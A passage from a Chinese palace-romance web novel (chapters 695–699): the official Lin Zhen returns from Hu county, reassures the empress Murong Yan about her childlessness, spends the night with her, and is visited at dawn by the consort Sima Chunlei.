她骑着白马,与马车并行,探着头,一双杏眼亮晶晶地、贪婪地扫视着那片崭新的居民区,小嘴微张, “五层!全是结结实实的砖瓦房!还有这么大的琉璃窗!天哪!这采光!这气派!比咱们王府一些偏院都亮堂!都结实!” 她兴奋地手舞足蹈,差点从马背上蹦起来,幸好骑术精湛,才稳住身形。 林臻嘴角勾起一抹淡淡的笑意,目光依旧沉静:“嗯,看到了。工部这次倒是不负所托,效率尚可。” “何止是尚可!”橙萱声音雀跃,如同欢快的溪流,“世子您不知道,这兴化坊,如今可是京城百姓最眼热、最羡慕的地方!住在这里的,大多是原来住在窝棚区、冬天漏风夏天漏雨的穷苦人家,还有为国征战的军户遗属!朝廷只收很少很少的租金,就能住上这么好的房子!有干净的甜水井!有专门的公共茅房(旱厕),每天都有人清理!还有专门的垃圾清运车,天天来收!坊口就有官办的惠民医馆和蒙学堂!看病便宜,孩子读书还免束脩!百姓们都说,这是陛下和朝廷天大的恩典!是真正的安居工程!是活菩萨下凡!” 她小脸红扑扑的,语气激动,仿佛这功劳是她自己的一般。 “哦?”林臻目光微动,放下锦帘,看向窗外兴奋的橙萱,“百姓们都这么说?” “是啊!千真万确!”橙萱用力点头,马尾辫随之晃动,脸上带着与有荣焉的自豪,“奴婢回来后还特意溜进去看过呢!那坊正是个断了条胳膊的退伍老兵,姓王,逢人就说,是朝廷体恤他们这些穷苦人,是陛下圣明烛照,才让他们这些泥腿子也能住上神仙般的房子!还有那些军户遗孀,提起朝廷,都感激涕零,说终于能让孩子们在干净亮堂的房子里长大,不用再受冻挨饿,担心房子塌了被压死!世子您听!您快听!” 她忽然竖起耳朵,兴奋地指着坊门口的方向。 马车恰好缓缓经过兴化坊坊口。 只见高大的坊门上方,悬挂着黑底金字的“兴化坊”匾额,笔力遒劲,气度不凡。 坊门前的小广场上,人头攒动,热闹非凡。 几个穿着粗布衣裳、但浆洗得干干净净、面色红润的汉子,正围着一个推着独轮车、插满红艳艳糖葫芦的小贩。 一个身材壮硕的汉子咬了一口糖葫芦,山楂的酸甜让他眯起了眼,含糊不清地对同伴笑道:“嘿!老李头,听说你家小子在蒙学堂里,先生夸他字写得好?还说要推荐他去官学?” “嘿嘿,可不是嘛!”那叫老李头的汉子,黝黑的脸上满是褶子,此刻却笑得如同盛开的菊花,“先生说这小子有灵性!比他爹强!要不是朝廷办了这蒙学堂,还免了束脩(学费),咱家小子哪有机会摸书本啊!这都得感谢陛下!感谢朝廷!感谢摄政王老王爷和世子爷!” 他声音洪亮,充满了感激。 “是啊是啊!”另一个穿着短褂的汉子接口道,他是坊里的泥瓦匠,“以前住那破窝棚,冬天漏风,夏天漏雨,孩子冻得直哆嗦,老婆子天天提心吊胆。现在好了!这砖瓦房,又结实又亮堂!冬暖夏凉!我家婆娘说,做梦都能笑醒!这日子,有奔头!” “哈哈!谁说不是呢!”旁边一个卖菜的老翁也凑过来,捋着花白的胡子笑道,“多亏了那场大火啊,以前挑担子走街串巷,风吹日晒,现在坊里有专门的集市摊位,风吹不着雨淋不着!这日子,真是越过越红火!都是托了陛下和朝廷的福啊!”众人哄笑起来,笑声爽朗,充满了对生活的希望和对未来的憧憬。 第696章 她瘦了 厚重的朱漆宫门在身后无声地关闭,隔绝了外界的喧嚣与窥探。 养心殿东暖阁内,弥漫着一股独特的、令人心神宁静的冷香。 不是龙涎香的厚重,也不是百合的甜腻,而是几缕若有若无的、如同初雪新梅般清冽悠远的气息。 光线透过高悬的云母窗纱,滤去了刺目的骄阳,只留下柔和朦胧的光晕,照亮了这间象征着帝国最高权力核心的房间。 慕容嫣并没有端坐在那张宽大的、覆盖着明黄锦垫的紫檀龙椅上。 她正背对着门口,站在巨大的紫檀木御案旁。 案上,堆积着几乎漫过桌角的奏章,如同沉默的山峦,散发着无形的压力。 她似乎刚刚批阅完一份奏疏,正微微低着头,目光落在案前悬挂的那幅巨大的《大乾坤舆全图》上。 从林臻的角度看去,她的背影在柔和的光线下,显得……异常的纤细。 一年多的光阴,似乎在这位风华绝代的女帝身上,留下了过重的刻痕。 她依旧穿着明黄色的常服龙袍,金龙盘绕的纹饰在朦胧的光线下闪烁着威严的光泽。 束腰的玉带勾勒出依旧窈窕的曲线,腰肢依旧盈盈一握,但肩背却显得单薄了许多,那份昔日充盈饱满、如同骄阳般灼目的丰腴感似乎褪去不少,透出一种令人心惊的清减。 那身量,大约一米七上下,在女子中本已算高挑,此刻更显得如孤峰独立,带着一种难言的疲惫与寂寥。 然而,那优美的肩颈线条之下,包裹在明黄锦缎里的胸脯,却依旧饱满丰隆,如同巍峨的山峦,随着她轻微的呼吸,在龙袍的包裹下起伏出惊心动魄的弧度,无声地诉说着成熟女子的动人风韵,与她清减的身形形成一种奇异而强烈的视觉冲击。 “来了?”慕容嫣没有回头,声音传了过来。 那声音不高,带着一丝天然的慵懒和沙哑,如同最上等的丝绸拂过心尖,尾音微微上扬,带着不容置疑的掌控感,却奇异地混杂着一丝不易察觉的紧绷。 “臣,林臻,叩见陛下。”林臻单膝跪地,垂首施礼,声音沉稳。 玄色蟒袍的下摆铺展在金砖地面上。 “起来吧。”慕容嫣缓缓转过身。 四目相对。 林臻心头微震。 眼前的慕容嫣,肌肤依旧胜雪,容颜依旧绝美,如同精心雕琢的羊脂美玉。 柳叶眉下,那双原本璀璨如同星河的凤眸,此刻似乎蒙上了一层若有若无的轻雾,深处翻涌着极其复杂的光芒——有审视,有威仪,有深深的思念,甚至……有一丝难以名状的委屈? 她瘦了。 下颌的线条更显清晰,颧骨处微微凸起,双颊少了几分昔日的圆润丰泽,使得那张本就倾国倾城的脸庞多了几分凌厉的锐气,却也平添了令人心疼的憔悴。 但那份从骨子里透出的、如同凤凰般睥睨天下的高贵与强势,却丝毫未减,反而因这清减,更显出一种不容侵犯的凛然。 “一年零三个月又七天。”慕容嫣红唇轻启,吐出一个精确到天的数字,凤目直直地盯着林臻,那目光如同实质的探针,要刺穿他内心所有的隐藏, “沪县的风浪,竟比朕这金銮殿还难脱身?” 林臻站起身,姿态依旧恭谨,目光坦然地迎向她带着审视意味的注视:“沪县初创,百废待兴,倭寇如犬伺隙,臣不敢懈怠。深水港已于上月初八顺利通航,第一批南洋商船已靠泊卸货。臣…心系朝政,故不敢拖延分毫,昨日抵京,今日便入宫觐见,述职请安。” “述职请安?”慕容嫣唇角勾起一抹似笑非笑的弧度,她并未回到龙椅,反而轻盈地绕过御案,走到林臻面前不足三尺之处停下。 那混合着冷冽寒梅与淡淡墨香的气息瞬间将他包围。 她凤目微抬,仔细打量着林臻的脸庞,目光流连在他被海风吹得略显粗糙的皮肤、眉宇间沉淀的沉稳和那双深邃依旧的眼眸。 “‘破浪号’抵京三日前,朕案头已收到工部关于‘325#水泥实测报告’、吏部关于萧寒舟拟任沪县县令的考语、以及毛梦极呈上的‘沪县军力布防图’。你林世子想禀报的国家大事……” 她微微倾身,靠近林臻,温热的气息若有若无地拂过他的耳廓,带着一丝只有两人才能懂的挑衅, “莫不是想告诉朕,沪县的浪头,打湿了世子爷的蟒袍?” 她语调低沉,带着一丝戏谑,却用上了世子爷这个极其私密、近乎调情的称谓。 她的身高恰好及林臻的眉骨,微微仰头看他的姿态,强势中又带着一丝不易察觉的依赖。 林臻心头一跳,深知她越是如此锋芒锐气地说话,内心压抑的情愫便越是汹涌。 他稳住心神,退后半步,保持君臣之礼的界限,声音平稳无波:“陛下洞若观火,臣深表钦佩。既如此,容臣为陛下详述沪县详情……” 慕容嫣却猛地一挥手,截断了他的话,那动作带着女帝特有的不容置疑的霸道:“那些数字、蓝图、奏报,朕晚些再看!夫君!” 她的声音陡然拔高,凤目灼灼,带着强烈的情绪倾泻而出,“朕不是问你的沪县!朕在问你!这一年来,在沪县风浪里搏命的时候,在倭寇刀锋下穿梭的时候,在深水港通航礼上接受万民欢呼的时候……你可有分神?可有想过朕在这宫城里,批着堆成山的、弹劾你拥兵自重、指责林家功高震本的奏章时,是什么心情?” 她的呼吸微微急促,饱满的胸脯在龙袍下起伏不定,眼中那层薄雾散去,取而代之的是灼热的火焰,夹杂着一丝……深深的幽怨! 空气瞬间凝滞。 殿内落针可闻。巨大的鎏金蟠龙烛台上,烛火跳跃了一下,映照着慕容嫣眼中翻涌的情绪。 她紧紧盯着林臻,仿佛要用目光将他锁住,不许他再逃开。 林臻沉默片刻,那深邃如古井的眸中,同样翻涌起复杂的波澜。他再次微微躬身,声音低沉,带着穿透岁月沉淀下的真挚: “深水港初通之日,万民欢呼如浪,为夫于高台之上,却见天际北斗阑干。彼时彼刻,所念者非臣之功,乃陛下曾立于摘星楼上,告臣以北辰之位,当为天下立心之语。沪县风波险恶时,倭寇石火矢掠鬓而过,其音若厉鬼哭啸,然彼时回响于臣耳际者,乃昔日陛下于西山围猎,斥臣驱驰过急时之怒嗔。陛下……嫣儿,你可知道,你无时无刻不在为夫之心念,如影随形,如骨附髓。” 他的话语,没有激烈的表白,没有炽热的拥抱,却如同投入深潭的石子,精准地击中了慕容嫣内心最柔软的部分。 那些只有他们两人才知道的、属于帝皇与重臣之外、青梅竹马之间隐秘的点滴——摘星楼的夜话,西山猎场的佯怒……都被他清晰地记得,在生死之际、辉煌之时,成为他心中最深的烙印。 慕容嫣眼中的火焰瞬间熄灭,被一种巨大的、几乎将她淹没的酸涩和柔软取代。 她眼中的锐利冰消雪融,微微偏过头去,看着窗外摇曳的竹影,不让林臻看到她瞬间湿润的眼角。 她放在身侧的手,微微颤抖着,最终,有些负气地,又带着一丝孩子般委屈地,轻轻锤了一下林臻的手臂。 那力道,与其说是惩罚,不如说是撒娇。 “油嘴滑舌!你便是这般哄骗沪县那些百姓的么?”她的声音闷闷的,带着一丝鼻音。 林臻顺势轻轻握住她落下的拳头。 那手冰凉,纤细,却蕴含着帝国权柄的力量。 他并未进一步动作,只是轻轻握着,传递着自己的温度与无声的抚慰。 这一握,如同打破了君臣之间最后的壁垒,暖阁内的气氛瞬间缓和下来,空气中弥漫起一种说不清道不明的、带着苦涩甜蜜的暖流。 慕容嫣并未抽回手,任由他握着。 她深吸一口气,似乎要将所有翻腾的情绪强行压下,恢复女帝的从容。 她拉着林臻,一同走向窗边的暖炕。 暖炕上铺着厚厚的明黄锦缎垫子,中间放着一张矮几,上面早已备好几碟精致的点心和两盏冒着热气的、描金珐琅彩的御用茶盏。 “坐吧。”慕容嫣率先在暖炕一侧坐下,姿态依旧优雅,但少了几分御座上的紧绷。她甚至略带随性地屈起一条腿,那明黄的裙裾下,露出一截穿着素白绸袜、纤细精致的脚踝。 林臻依言在她对面坐下,暖炕的温热驱散了宫城的些许凉意。 “喝茶,”慕容嫣亲手执起一只茶盏递给林臻,自己拿起另一只,“今年新贡的‘雨雾青鸾’,产自江南云雾山,一年只得半斤。知道你要回京,特意让人留着。” 林臻接过,揭开杯盖,一股清雅馥郁、带着山林晨露气息的茶香扑鼻而来。 他轻啜一口,茶汤清亮,甘醇悠长,的确是极品。 “沪县……苦了你了。”慕容嫣自己也抿了一口茶,目光落在袅袅升起的水汽上,声音柔和下来,带着一丝不易察觉的心疼, “深水港图纸,惜灵前些日子誊抄了一份秘密呈送工部存档,朕看过了。惊才绝艳!却也惊心动魄!那万吨巨轮泊位,悬空数十丈的水泥栈桥……听着都令人心悸。还有那倭寇……” 她提到“倭寇”二字时,凤目中寒光一闪,杀机乍现, “萨摩藩那些跳梁小丑,竟敢如此放肆!毛梦极的军报,朕看了!杀得好!击沉一艘太少!下次再遇,定要他们片甲无回!” 她的声音瞬间充满金戈铁马的寒意,显示出她绝非养在深宫的柔弱女帝。 “陛下息怒。”林臻放下茶盏,“萨摩藩狼子野心,非一日可除。臣已按陛下密谕,扩建水师,加固要塞,严控沿海。同时,臣建议……” 他话锋一转,开始条理清晰地分析倭寇动向,并提出联合高丽、琉球,牵制萨摩藩后方的策略,以及加强新式火器(火炮)研发的计划。 第697章 也生分了很多 慕容嫣专注地听着,手指无意识地摩挲着茶盏光滑的瓷壁,时而蹙眉,时而点头。 两人之间,从方才近乎幽怨情愫的暧昧氛围,无缝切换到了君臣商议国家大计的模式。 慕容嫣思维敏捷,见解犀利,对林臻的建议或追问细节,或提出补充,展现出一个合格帝王应有的战略眼光和决断力。 暖阁内只剩下茶水的轻响和两人沉稳的对话声。 半个时辰过去,军国要事议得告一段落。 侍女无声地上前,为两人续上热茶。 慕容嫣挥挥手,示意她们退远些。 空气再次安静下来。慕容嫣脸上的凝重神色褪去,多了几分轻松和……一丝不易察觉的扭捏。 她拿起一块做成精致兔子形状的芸豆卷,小口吃着,目光却有些飘忽地落在窗外的翠竹上,仿佛在酝酿着什么。 林臻静静地看着她,并不催促。 他了解慕容嫣的性子,知道她越是难以启齿的事情,越是重要,也越是在她心头积压许久。 终于,慕容嫣放下了只咬了一小口的芸豆卷,手指有些紧张地捻着锦缎垫子上的流苏。 她深吸一口气,像是下定了很大的决心,抬眼看向林臻。那目光不再是帝王的锐利,也不再是刚才商议国事时的专注,而是带着一种深切的困惑,以及……一丝难以言喻的脆弱和期盼。 “夫君……”她的声音低了下来,带着微不可查的颤抖,“我……我想问你一件事。一件……私事。只能问你。” “你说。”林臻坐直了身体,神情郑重。 慕容嫣的目光在林臻脸上逡巡,似乎在确认他的可靠。 然后,她微微前倾身体,压低了声音,几乎是耳语般问道: “……为什么……为什么我总是怀不上孩子?” 这句话如同惊雷,在静谧的暖阁内炸响! 林臻瞬间僵住! 饶是他心思深沉,千军万马当前亦能面不改色,此刻也被这个突兀又极其私密的问题震得措手不及! 怀不上孩子?! 他万万没想到,这位执掌乾坤、杀伐果断的女帝,私下里最深切的困扰和期盼,竟是这个! 慕容嫣说完这句话,脸颊已是一片绯红,如同天边最绚丽的晚霞,一直蔓延到耳根。 那双璀璨的凤眸中,不再是刚才的锐利或强势,而是充满了迷茫、焦虑、委屈,还有深藏其下的、作为一个女人对血脉延续最本能的渴望。 她微微咬着下唇,那模样,如同一个无助的小女孩,期盼着大人的解答。 “这……”林臻罕见的有些磕巴,脑海中飞速运转,一时间竟不知如何作答。 他是摄政王世子,也是她的丈夫,但子嗣问题,绝非他一人之责,更牵扯到天家血脉、皇位传承这等动摇国本的惊天大事! 他斟酌着措词,谨慎开口:“子嗣之事,关乎社稷血脉,自有天命,亦讲人伦……陛下切勿过于忧虑。太医……” “别提那些太医!”慕容嫣突然打断他,声音带着压抑的烦躁和愤怒,“太医院令张介宾,副院使周仲景,还有前前后后七八个号称国手的御医!脉诊过无数遍,开的方子喝得朕反胃!个个都说朕脉象稳健,身体康泰,龙虎交泰之期并未错失!可结果呢?!” 她的声音尖锐起来,带着压抑不住的委屈和怒火, “一年又一年!毫无动静!晴雯青霞为你生了承煜承树!月妩和顾缜也为你生下来女儿。可为什么偏偏是朕?!” 她猛地站起身,在暖炕前烦躁地踱了几步,明黄的身影在朦胧的光线下如同困在龙袍里的凤凰, “朕让绣衣卫查过!她们能怀上,说明问题不在你身上!那问题在哪里?在朕?!” 她猛地停住脚步,转过身,居高临下地看着林臻,眼中充满了血丝和偏执的审视:“还是说……因为你林世子对朕心存畏惧?因为朕是皇帝?所以你在朕身边时从未……从未尽过全力?!” 最后几个字,她几乎是咬着牙迸出来的,声音颤抖,带着一种极致的羞辱感和不被承认的痛苦! 仿佛将自己身为女人的全部价值,都押在了这个生育能力上! “陛下慎言!”林臻神色陡变! 这个问题太过尖锐,太过危险! 几乎是在质疑帝王的尊严和他的……能力! 他立刻起身,深深一躬:“陛下乃九天之凤,真龙天子之躯!臣对陛下,敬之,畏之,忠心可昭日月!绝无半分亵渎不恭之意!床笫之事,亦是情之所至,何敢有所保留?此言一出,臣万死难赎其咎,更损陛下天威,望陛下慎言!” 他声音铿锵,带着惶恐和坚决的否认。 看到他如此紧张郑重地否认,慕容嫣眼中的偏执和疯狂之色渐渐褪去,取而代之的是一种更深的疲惫和茫然。 她像是被抽走了所有力气,缓缓坐回暖炕上,双手捂住了脸。 那宽大的明黄龙袍袖子滑落,露出两截白皙如玉却微微颤抖的手腕。 过了好一会儿,她的肩膀微微抽动,低低的、压抑的啜泣声,如同受伤的幼兽悲鸣,断断续续地从指缝间溢了出来。 “那……那为什么……你告诉朕……为什么……老天为何待朕如此苛薄……朕只是想…想有一个属于我们的孩子……看着他长大……像承煜承树那样活泼可爱……看着他继承这江山……为什么这么难……” 她的话语破碎不堪,充满了无助、绝望和深深的不甘。 她不再是那个号令天下的帝王,只是一个深陷求子困境而绝望无助的女人。 林臻看着她这副模样,心中的震撼无以复加。 他从未见过慕容嫣如此脆弱的一面。他甚至有些手足无措。 犹豫片刻,他缓缓在暖炕边坐下,距离她更近了些。 他没有试图触碰她,只是用极低、极沉稳的声音说道:“不可妄自菲薄。太医所言,当有所据。臣以为,或是……或是……”他脑中飞速思索着可以推托的理由, “或是陛下忧心国事,夙兴夜寐,心神操劳过度?须知,神劳则精散,思虑伤脾,任冲不调。此事当需静养,宽心为上。再者,陛下与臣……毕竟……毕竟时机不同,常聚少离多。或……天缘未至?” 慕容嫣的啜泣声渐渐小了。 她慢慢放下捂着脸的手,露出通红的眼睛和被泪水打湿的鬓角。那双含着水光的凤眸,带着无尽的委屈,看着他:“静养?宽心?这江山社稷,万千奏章,哪一件容得朕宽心?深更半夜,朕批折子批得头晕眼花时,御膳房送来的夜宵也是太医令张介宾亲制的‘八珍毓麟汤’! 碗底沉着厚厚一层名贵药材渣子!朕一边喝,一边都在想……这口苦水里,可有半分让朕如愿的希望?” 她的话语带着一种辛酸的嘲讽,“聚少离多……林臻,你以为朕不想你时刻在侧?可你是摄政王世子!是沪县的‘万家生佛’!这朝堂内外,多少双眼睛盯着你我?朕能……朕能怎么办?把你锁在养心殿?让你做一个只知床笫之乐的佞幸之臣?” 她自嘲地笑了笑,泪水又滑落下来。 林臻沉默了。 他知道慕容嫣说的都是实情。 他们之间的身份,注定了无法像寻常夫妻般日夜厮守,享受天伦。这宫闱之中的艰难和束缚,比他想象中更沉重地压在慕容嫣身上。 “或许……或许是朕前世不修,今生注定……”慕容嫣喃喃道,语气凄凉。 “嫣儿!”林臻断然打断她,声音不高,却带着不容置疑的坚定,“天道玄远,岂可妄测?陛下以女子之身承袭大宝,内修德政,外御强敌,使大乾四海升平,百姓安居乐业,此乃亘古未有之德业!功德无量! 陛下洪福齐天,天意必然眷顾!子嗣之事,不过是……不过是时间问题。” 他不能再用任何借口推脱,只能用“功德”、“洪福”、“天眷”这些话语来安慰她,试图给她一丝虚无渺茫,却又不可或缺的希望。 同时,他也只能再次强调,“我也当为陛下分忧,为国尽责,为家亦当克尽心力。” “克尽心力……”慕容嫣咀嚼着这四个字,红肿的眼睛看着他,那目光如同一泓深潭,要将林臻彻底吸进去, “如何克尽?像昨夜对刘家小凤凰那般抵死缠绵吗?”她的话语带着刺骨的醋意和质问,身体也再次微微前倾,那饱满的胸脯几乎要触碰到林臻的前襟,凤目中燃烧着复杂难明的火焰。 林臻的身体瞬间绷紧,一股难以言喻的压迫感袭来。 他张了张嘴,却发现任何解释在此刻都苍白无力,任何辩解都可能引来更深的误解。 他只能无奈地、带着一丝不易察觉的乞求看着她。 看着林臻那副无措又无奈的表情,慕容嫣眼中的醋火和质问慢慢化作一种深沉的、化不开的悲哀与酸楚。 她别开脸,声音带着无边的疲惫:“罢了……朕……朕就是难过。看着承煜承树在王府里跑来跑去,看着别的妃嫔怀有身孕……朕……朕只是……一个想当母亲的女人罢了。” 最后几个字轻若蚊呐,带着令人心碎的脆弱。 暖阁内再次陷入令人窒息的沉默。只剩下鎏金蟠龙烛台上,烛火轻微摇曳的噼啪声。 不知过了多久,慕容嫣缓缓站起身,走到御案前,拿起一份奏章,似乎想要重新投入工作,但指尖却微微颤抖着,根本看不进去。 她放下奏章,背对着林臻,声音恢复了平静,却带着一丝不易察觉的哽咽:“今日就到这吧。朕乏了。” 她的话语是明显的逐客令。 林臻心中五味杂陈。他看得出慕容嫣内心的痛苦和强撑的坚强。 他站起身:“我还是陪着你吧,万一这次就有了呢?” 第698章 咱俩生个孩子吧 养心殿东暖阁的烛火,不知何时已悄然熄灭了大半。 只余下角落鎏金蟠龙烛台上,几支粗如儿臂的红烛,依旧顽强地燃烧着,跳跃的火焰在巨大的紫檀御案上投下摇曳的光影,将案头堆积如山的奏章染上一层暖融的橘黄。 空气中,那清冽悠远的冷梅香,不知何时已被另一种更为馥郁、更为缠绵的气息所取代——那是龙涎香混合着女子肌肤温热体香、以及情动后特有的、令人心旌摇曳的暖甜气息。 慕容嫣侧卧在宽大的、铺着明黄锦缎的龙榻之上,乌黑如瀑的长发凌乱地铺散在枕畔,如同上好的墨色绸缎。 她身上只松松地披着一件薄如蝉翼的明黄软绸寝衣,衣襟微敞,露出大片雪白细腻、如同羊脂美玉般的肌肤,以及那惊心动魄的、随着呼吸微微起伏的饱满曲线。 那张倾国倾城的脸上,褪去了白日里帝王的威严与锐利,只余下情潮退去后的慵懒、满足与一丝难以言喻的脆弱。 长长的睫毛如同蝶翼般低垂,在眼下投下淡淡的阴影,脸颊上还残留着未褪尽的红晕,如同初绽的桃花。 她微微蜷缩着身体,像一只终于找到安全港湾的、疲惫而满足的猫儿,一只纤细白皙的手臂,无意识地搭在身边男人的胸膛上。 林臻仰躺着,玄色的寝衣同样敞开着,露出线条紧实、充满力量感的胸膛。 他一只手臂被慕容嫣枕在颈下,另一只手则轻轻地、有一下没一下地抚摸着慕容嫣光滑细腻、如同上好丝绸般的脊背。 他的目光并未落在怀中这具足以令天下男人疯狂的胴体上,而是透过明黄色的鲛绡帐幔,落在宫殿穹顶那些繁复华丽的藻井彩绘上,眼神深邃,带着一种历经风暴后的沉静与思索。 “嫣儿……”他低沉的声音在寂静的寝殿内响起,带着一丝情事后的沙哑,却异常清晰。 “嗯?”慕容嫣并未睁眼,只是在他怀中轻轻蹭了蹭,发出一个慵懒而满足的鼻音,如同梦呓。 “我们……生个孩子吧。”林臻的声音不高,却带着一种不容置疑的决断,如同在陈述一个即将实施的计划。 慕容嫣的身体猛地一僵! 搭在他胸膛上的手指下意识地收紧,指甲几乎要嵌入他的肌肤! 她倏地睁开眼,那双迷蒙的凤眸瞬间恢复了清明,带着难以置信的震惊和一丝不易察觉的恐慌,直直地看向林臻! 生个孩子?! 他……他竟如此直白地说出来?! 还是在……在刚刚……之后?! 林臻感受到她的僵硬,安抚地轻轻拍了拍她的背,目光却依旧沉静地落在藻井上,仿佛在凝视着遥远的未来:“一个像你一样聪慧,或者像我一样能折腾的孩子。” 他嘴角勾起一抹极淡的笑意,“等他长大成人,便将这万里江山交到他手上。让他去承那万钧之重,去受那案牍劳形,去应对那些勾心斗角、波谲云诡……” 慕容嫣的心跳如同擂鼓! 她屏住呼吸,凤眸死死地盯着林臻的侧脸,仿佛要从他平静的表情下,窥探出这惊世骇俗之语背后的真实意图。 交给他? 继承江山? 他……他是在承诺什么? 还是在……试探什么? 林臻缓缓转过头,深邃的眼眸终于对上了她惊疑不定的目光。 那目光中没有试探,没有算计,只有一种近乎磐石般的坚定和……一种深藏的、难以言喻的温柔。 “然后……”他声音低沉,带着一种描绘未来的笃定,“我们就离开这里。离开这金銮殿,离开这重重宫阙,离开这天下权柄的中心。去江南,寻一处临水的小院,院里有几竿修竹,一架葡萄。或者去岭南,找一处有温泉的山谷,种几亩薄田,养几只鸡鸭。” “你不再是女帝,我也不再是什么世子。我们一家人就做最寻常的神仙眷侣。春日赏花,夏日听蝉,秋日登高,冬日围炉,过那逍遥自在,只羡鸳鸯不羡仙的日子。” 他的话语如同最轻柔的羽毛,拂过慕容嫣紧绷的心弦,描绘出的画面,美好得如同虚幻的梦境,却又带着一种令人心颤的向往。 慕容嫣的呼吸瞬间停滞了! 她怔怔地看着林臻,凤眸中翻涌着惊涛骇浪! 震惊、狂喜、难以置信、酸楚、委屈……无数种情绪如同决堤的洪水,瞬间冲垮了她所有的防线! 离开? 放下江山? 做一对寻常夫妻? 逍遥自在? 这……这曾是她午夜梦回时,藏在心底最深处、连自己都不敢触碰的奢望! 如今,竟被他如此平静、如此笃定地说了出来! 仿佛这并非遥不可及的幻想,而是触手可及的未来! “你……你说真的?”她的声音带着剧烈的颤抖,如同风中落叶,凤眸中瞬间蓄满了水光,死死地盯着林臻的眼睛,仿佛要确认这并非一场虚幻的春梦。 “君无戏言。”林臻的声音低沉而郑重,带着一种不容置疑的力量,“我林臻此生,或许说过许多虚与委蛇的话,但对你……嫣儿,我从不虚言。这江山,是你的责任,也是你的枷锁。我愿陪你担起这责任,也愿为你卸下这枷锁。待他日,我们的孩儿能独当一面,便是我们抽身离去之时。这承诺,天地为鉴,日月可表。” 他伸出手,轻轻拭去她眼角滑落的泪珠,动作温柔得不可思议。 慕容嫣再也忍不住,猛地扑进他怀里,双臂紧紧环住他劲瘦的腰身,将脸深深埋在他坚实的胸膛上! 滚烫的泪水如同断了线的珠子,汹涌而出,瞬间浸湿了他的寝衣! 她无声地哭泣着,身体剧烈地颤抖,仿佛要将这两年来所有的委屈、焦虑、恐惧、不甘,以及对这份隐秘未来的无限渴望,都通过泪水宣泄出来! 她不再是那个高高在上、杀伐决断的女帝,只是一个被巨大的幸福和承诺冲击得溃不成军的、脆弱而真实的女人。 林臻紧紧回抱着她,感受着她身体的颤抖和滚烫的泪水,心中涌起一股难以言喻的怜惜与坚定。 他轻轻拍着她的背,如同安抚一个受尽委屈的孩子,在她耳边低语:“别哭……嫣儿,别哭……我们会有孩子的,一定会有的。我会一直陪着你,直到我们一起离开的那一天。” 他的声音如同最温暖的港湾,包容着她所有的脆弱与不安。 慕容嫣在他怀中哭了许久,才渐渐平息下来。 她抬起头,泪眼朦胧地看着他,那双被泪水洗过的凤眸,清澈得如同山涧清泉,里面盛满了全然的信任、依赖和一种失而复得的巨大喜悦。 她伸出手,颤抖着抚上林臻的脸颊,声音带着浓重的鼻音,却无比清晰:“林臻……记住你今晚说的话。若你敢负我……若你敢骗我……朕……我……定叫你……” 她的话语带着女帝的狠厉,却又被哽咽打断,最终化作一声带着哭腔的威胁, “定叫你好看!” 林臻失笑,低头吻去她眼角的泪痕,声音带着宠溺:“好,若我负你任凭陛下处置,千刀万剐,绝无怨言。” 慕容嫣破涕为笑,带着泪痕的脸庞如同雨后初绽的芙蓉,美得惊心动魄。 她重新依偎进林臻怀里,紧紧抱着他,仿佛抱住了整个世界,也抱住了那个触手可及的美好未来。 两人相拥着,在红烛燃尽前的最后一点微光中,沉沉睡去。 寝殿内,只剩下两人平稳而交错的呼吸声,以及那份刚刚缔结的、关于未来与自由的沉重而甜蜜的盟誓。 ?? 第699章 椿儿,你也想为夫了吧 晨光熹微,透过明黄色的鲛绡帐幔,在寝殿内洒下朦胧柔和的光晕。 空气中,昨夜那缠绵的气息尚未完全散去,混合着淡淡的龙涎香,带着一种慵懒而暧昧的氛围。 林臻还在沉睡。 他侧卧着,俊朗的面容在晨光中显得格外沉静,眉宇间带着一丝不易察觉的疲惫,却也透着一股满足后的松弛。 玄色的寝衣领口微敞,露出线条分明的锁骨和一小片结实的胸膛。 寝殿的门,被无声地推开一条缝隙。 一个窈窕的身影,如同清晨带着露珠的幽兰,悄无声息地走了进来。 来人正是贵妃——司马椿蕾。 她穿着一身烟霞色绣折枝玉兰的云锦宫装,身姿高挑曼妙,行走间裙裾微动,如同水波荡漾。乌黑的长发挽成一个精致的飞仙髻,斜插一支点翠嵌珍珠的步摇,流苏轻垂,随着她的动作微微晃动。 她面容绝美,肌肤胜雪,眉如远山含黛,目似秋水横波,琼鼻樱唇,气质温婉娴静,如同画中走出的仕女,带着一种不食人间烟火的清雅。 她手中捧着一个紫檀木嵌螺钿的托盘,上面放着一个精致的青花瓷盖碗,碗盖边缘氤氲着丝丝热气,散发出甜糯的香气,显然是刚熬好的燕窝粥。 旁边还有几碟小巧玲珑的点心。 司马椿蕾脚步轻盈,如同猫儿般没有发出一丝声响。 她走到龙榻前,隔着朦胧的帐幔,看到林臻沉睡的侧影,绝美的脸上浮现出一抹温柔的笑意,如同春水初融。 她并未惊动他,而是将托盘轻轻放在榻边的紫檀小几上。 然后,她拿起放在托盘旁的一柄素白绢面、绣着淡雅兰草的团扇,轻轻走到榻边。 初夏的清晨,已有蚊虫滋生。 一只小小的蚊子,正嗡嗡地绕着帐幔飞舞,试图寻找缝隙钻入。 司马椿蕾见状,柳眉微蹙,小心翼翼地用团扇,隔着帐幔,对着那只蚊子轻轻扇动。 动作轻柔而专注,生怕惊扰了榻上之人的好梦。 她微微倾身,那烟霞色的宫装勾勒出她纤细的腰肢和饱满的胸脯曲线,一缕乌黑的发丝垂落在光洁的颈侧,在晨光中泛着柔和的光泽。 她专注地扇着扇子,目光温柔地落在林臻沉睡的脸上,那眼神中充满了毫不掩饰的爱恋与疼惜。 轻柔的风,带着淡淡的兰草香气和女子身上特有的温软气息,透过帐幔的缝隙,拂过林臻的脸颊和脖颈。 睡梦中的林臻似乎感觉到了什么,眉头微蹙,眼睫轻轻颤动了一下,缓缓睁开了眼睛。 映入眼帘的,首先是一张近在咫尺的、绝美得令人屏息的容颜。 肌肤细腻如瓷,眉目如画,那双清澈如秋水的眼眸,正带着一丝猝不及防的惊讶和温柔的笑意,盈盈地望着他。 晨光透过帐幔,在她脸上投下柔和的光晕,如同笼罩着一层圣洁的光辉。 林臻的嘴角,在意识尚未完全清醒之际,已下意识地勾起一抹慵懒而邪魅的笑意。 他几乎没有任何犹豫,手臂如同灵蛇般闪电般探出帐幔,一把抓住了司马椿蕾那只握着团扇的皓腕! 力道不大,却带着不容抗拒的霸道! “呀!”司马椿蕾猝不及防,发出一声短促而娇柔的惊呼! 手中的团扇“啪嗒”一声掉落在厚厚的地毯上。 她下意识地想抽回手,但林臻的手如同铁钳般,纹丝不动! 